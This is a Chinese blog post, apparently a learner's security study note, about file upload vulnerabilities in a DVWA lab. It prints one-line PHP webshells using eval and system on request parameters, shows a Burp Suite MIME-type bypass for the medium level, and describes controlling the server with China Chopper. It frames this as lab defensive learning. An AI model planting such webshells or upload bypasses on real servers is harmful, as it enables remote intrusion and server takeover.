文件上传漏洞渗透和防御、webshell及中国菜刀(网络安全学习10)

声明:从这篇文章开始我正式学习网络安全中常见的攻击和防御手段。我们要知道,我们要学习这个是为了了解网络中常见的攻击手段,只有了解了这些手段之后,我们才能对此做出相应的防御手段哦。

在学习本章文件上传漏洞之前,大家要先了解网络安全法,了解网络安全法则,从入门到入狱可不建议哦,哈哈。下面开始学习啦。

中华人民共和国网络安全法

 

CONTENTS

1 攻击渗透环境搭建

2 文件上传漏洞渗透及防御

2.1 文件上传漏洞基本操作(low安全级别)

2.2 文件类型限制利用工具burpsuite(medium安全级别)

2.3 限制文件扩展名(high安全级别)

3 文件上传漏洞webshell

4 中国菜刀基本功能


1 攻击渗透环境搭建

(1)三台虚拟机,一台靶机owasp,两台攻击机:kali和xin7。建议网络都设置为NAT(安全起见)

 

(2)虚拟机下载可以到官网上下载,下面也提供网盘下载,可参考这篇博客:

https://blog.csdn.net/Until_U/article/details/106984359

(3)账号密码:

owasp:用户名为:root   密码: owaspbwa

kali:用户名:kali   密码:kali

 

2 文件上传漏洞渗透及防御

2.1 文件上传漏洞基本操作(low安全级别)

(1)登录到owasp,输入虚拟机ip即可。下面这些每个对应一个虚拟机。选择Damn。

(2)账号密码都是admin,选择安全级别。low说明网站都是小白写的,没有什么安全意识。

owasp提供了后端代码展示,可以通过view source查看后端代码:

 

(3)因为这个安全级别low,这边文件上传不判断文件类型或后缀名,所以我们就可以通过上传php文件(webshell程序也就是木马程序),然后通过中国菜刀工具获取靶机的控制。下面可以可以上传图片,txt,然后通过网页访问测试一下。

(4)下面我们编写一个php文件,然后利用漏洞上传,再利用中国菜刀获取webshell控制权。

php文件:

<?php
@eval($_POST['chopper']);
?>

上传php文件,打开中国菜刀软件(网上直接搜下载就好了),添加php1.php的网页链接,输入密码。

 

添加成功后,右键点击网页链接,点击文件管理,就实现了对网站的控制权。 

(5)通过xshell管理owasp,注意我们上传文件的目录,我们cd到那个目录中。删除jpg,网页就找不到内容了。

再刷新以下就找不到了。

2.2 文件类型限制利用工具burpsuite(medium安全级别)

(1)如果网站在上传文件的后端代码中设置了文件类型限制。比如在owasp中的DVMA项目中,设置了medium中级安全级别。这个时候我们看一下后端代码。可以知道他限制了文件类型为image/jpeg。我们有必要先了解下mime类型(参考手册链接如下):https://www.w3school.com.cn/media/media_mimeref.asp。所以我们上传其他类型的文件就不可以。但是我们有一个工具,burpsuite,可以诡异的绕过网站的判断。。

(2)burpsuite这个软件,非常强大。我们可以在https://sectools.org/上看到它的排行。现在我们利用kali自带的burpsuite。首先我们打开kali,打开owasp,进入DVWA,调整安全级别为medium。由于上面显示的后端代码对文件类型进行了限制,所以无法上传其他文件类型的文件,自己可以试试。

(3)burpsuite的基本原理,作为中间件,有代理/拦截/转发的功能。

(4)开始使用burpsuite工具(工具栏可以搜名字)。由于它是java工具,刚开始会打开会慢点,下面界面默认就好了。

查看proxy下的options,因为后面需要在浏览器中配置代理:

(5)在火狐浏览器中配置代理,打开preference-->network--->settings

手动配置代理: 

(6)下面开始上传php文件,默认会跳到以下界面(2020版kali就是强大),注意文件类型,然后我们把它修改为后端代码所支持的文件类型。修改之后点击Forward转发。

区别于以上实验:php文件简单修改下密码,

<?php
@eval($_POST['phptest']);
?>

重新上传php :

访问php文件所在的目录,下面会自动跳到以下界面 ,关掉拦截

 (7)关掉拦截之后发现网站那边返回我们的php文件,下面我们就又可以通过菜刀工具获取系统的控制权了。

 2.3 限制文件扩展名(high安全级别)

查看高安全级别的后端代码,如下,可知道网站对上传文件的后缀做了限制。这个是相对很安全的方法。因为在这种情况下,不管你利用了burpsuite设置代理拦截,修改文件的扩展名,仍然不能通过菜刀获取服务器的控制权。因为php文件修改了以jpg为扩展名后在服务器没法解析,故限制文件扩展名是一种比较安全的做法。

 <?php
if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                    
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            
            else{
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';

            }
        }

?>

但仍有方法获取服务器的控制权,可以通过图片木马实现,这个后面我会来介绍哦。

3 文件上传漏洞webshell

webshell可分为小马和大马:

小马:一句话木马也称为小马,即整个shell代码量就只有一行,一般是系统执行函数;

大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙或入侵检测系统察觉。

下面我们简单了解小马,看两个webshell:

(1)上传下面木马到服务器上,记住先把uploads下内容清空,然后调整安全级别为low,我们主要来了解这两个webshell。

shell1.php   #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['cmd']);?>

上传到在火狐搜索栏输入:http://192.168.119.167/dvwa/hackable/uploads/shell1.php?cmd=phpinfo();

调用phpinfo()函数:

 (2)编写第二个shell2.phpwebshell,上传到服务器。

shell2.php   #system 使用linux系统命令,例如ls,cp,rm,curl等
<?php system($_REQUEST['cmd']);?>

后面系统命令就是kali的命令,有可能因为用户的权限不够,无法执行。所以可以给用户提权,这个后面再说咯。

 

4 中国菜刀基本功能

中国菜刀功能很强大,可以用来测试服务器安全性。我们可以通过木马,然后通过中国菜刀获取服务器的控制权。进而找出服务器的漏洞,从而修复漏洞。这是每一个人必备的素养哦。

中国菜刀网上可以搜到,下载后有一个帮助文档。根据文档进行配置管理。

(1)文件管理,这个我们在前面的实验中也用到过。我就不在演示拉。

(2)虚拟终端(如果文件管理,就可以进入虚拟终端,跟正常的Linux shell一样)

(3)数据库管理(先配置PHP脚本,照着帮助文档写就OK了)。owasp默认的数据库账号:root,密码:owaspbwa

可是数据库的账号密码我们一开始是不知道的,后面学习SQL注入可以获取账号密码。


今天学习任务完成!

 

 

 

  • 1
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

硬核的无脸man~

你的鼓励是我创作的最大功力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值